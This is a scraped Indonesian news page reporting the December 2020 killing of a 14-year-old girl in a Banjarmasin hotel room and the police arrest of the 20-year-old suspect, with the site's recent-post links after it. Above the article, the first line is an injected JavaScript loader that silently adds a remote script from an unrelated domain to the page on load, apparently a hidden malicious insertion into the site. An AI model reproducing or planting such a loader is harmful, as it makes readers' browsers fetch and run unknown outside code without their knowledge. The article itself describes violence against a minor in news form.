(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Kabur ke Luar Kota Tak Sampai 24 Jam, Pelaku Pembunuhan Perempuan di Kamar 308 Dibekuk


KANALKALIMANTAN.COM, BANJARMASIN – Tak lebih dari 24 jam, kasus pembunuhan di kamar 308 Hotel Mira Inn Banjarmasin, Senin (28/12/2020), akhirnya terungkap.

Adalah seorang pria MZR (20), pelaku yang diduga menghabisi YA (14), dibekuk polisi di desa Kapar, Kecamatan Batang Alai Selatan, Kabupaten Hulu Sungai Tengah (HST) pada Senin (28/12/2020) sekitar pukul 21.30 Wita.

Terduga pelaku MZR (20), warga jalan Sumber Alam, Desa Sebelimbingan, Kabupaten Kotabaru.

Penangkapan terduga pelaku penganiayaan dilakukan Unit Resmob Polda Kalsel, Unit Jatanras Polresta Banjarmasin, Unit Jatanras Polres HST, Unit Intelmob Sat Brimob Polda Kalsel, Unit Jatanras Polres Banjar dan Unit Buser Polsek Banjarmasin Tengah yang dipimpin Kanit Resmob Polda Kalsel AKP Agus Rusdi dan Kanit Reskrim Polsek Banjarmasin Tengah Ipda IGN Utama Putra.

 

YA, anak di bawah umur yang meninggal di kamar hotel 308. Foto: ist

Kronologi penangkapan MZR bermula dari informasi yang masuk sekitar pukul 18.30 Wita ke Buser Sat Reskrim Polres HST bahwa pelaku penganiayaan terhadap YA mengakibatkan meninggal dunia menuju Hulu Sungai.

Tim gabungan langsung menuju wilayah hukum HST untuk bergabung dengan Resmob HST untuk melakukan penyisiran, sekitar pukul 21.30 Wita di desa Kapar, Kecamatan Batang Alai Selatan, Kabupaten HST menghentikan sebuah angkutan umum untuk mengecek penumpang. Dari mobil angkutan umum yang ditumpangi MZR, pelaku kabur dari Banjarmasin. Tim gabungan langsung diamankan oleh polisi dipimpin oleh Kanit Resmob Polda Kalsel AKP Agus Rusdi.

Kasat Reskrim Polres HST AKP Dani Sulistiono membenarkan bahwa bersama tim gabungan telah berhasil menangkap pelaku pembunuhan yang terjadi di Hotel Mira Inn Banjarmasin.

“Bersama tim gabungan, pelaku sudah kami amankan saat berada berada di desa Kapar, Kecamatan Batang Alai Selatan, Kabupaten Hulu Sungai Tengah,” katanya.

Terduga pelaku pembunuh YA yang berhasil ditangkap di Kabupaten Hulu Sungai Tengah oleh Polres HST bersama tim gabungan. Foto: ist

Sebelumnya, geger penemuan sesosok mayat perempuan tanpa identitas di Hotel Mira Inn kamar 308, jalan Haryono MT, Kelurahan Kertak Baru Ulu, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, pada Senin (28/12/2020) sekitar pukul 12.00 Wita.

Perempuan tersebut belakangan diketahui seorang anak di bawah umur, YA masih berusia 14 tahun, warga jalan Kelayan, Kecamatan Banjarmasin Selatan.

Diduga kuat kasus pembunuhan YA di Hotel Mira Inn Banjarmasin sebelum dihabisi, korban sempat mengalami beragam tindak kekerasan.

Dari keterangan karyawan hotel sempat mendengar suara gaduh dari kamar 308, terdengar sesaat sebelum korban ditemukan tak bernyawa di dalam kamar mandi.

Berdasarkan keterangan dari salah seorang karyawan Hotel Mira Inn, sekitar pukul 10.30 Wita, karyawan itu mencoba menegur dengan cara mengetuk pintu di kamar 308, dikarenakan terdengar keributan dari dalam kamar tersebut.

Setelah itu, seorang pria yang diduga pelaku membuka sedikit pintu kamar sebagai respon dari ketukan pintu karyawan hotel.

Dan tak lama pihak hotel yang ingin konfirmasi ke setiap penghuni hotel apakah memperpanjang sewa kamar atau check out, akan tetapi tidak ada respon dari penghuni kamar 308.

Lalu karyawan hotel mencoba ke kamar 308 dan menemukan jasad mayat perempuan di dalam kamar mandi kamar hotel.

Di dalam kamar tersebut juga tampak darah yang berceceran memenuhi lantai hingga dinding kamar hotel yang ditempati korban.

Dari temuan bercak darah di dalam kamar hotel, polisi menduga dari hasil anasila dan kondisi jasad perempuan tersebut adalah korban pembunuhan.
“Sementara analisa di lapangan dilihat kondisi korban memang ada tindak kekerasan,” tuturnya.

Kanit Reskrim Polsek Banjarmasin Tengah, Ipda I Gusti Ngurah Utama Putra juga menyebut ada barang bukti yang diamankan dari penemuan mayat tersebut, berupa baju yang berlumur darah dan pisau kecil yang dibuang pelaku dekat jendela luar kamar, serta sebuah palu yang berbentuk serba guna. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

 


Al Ghifari

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

4 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

6 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

6 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

6 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

7 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

19 jam ago

This website uses cookies.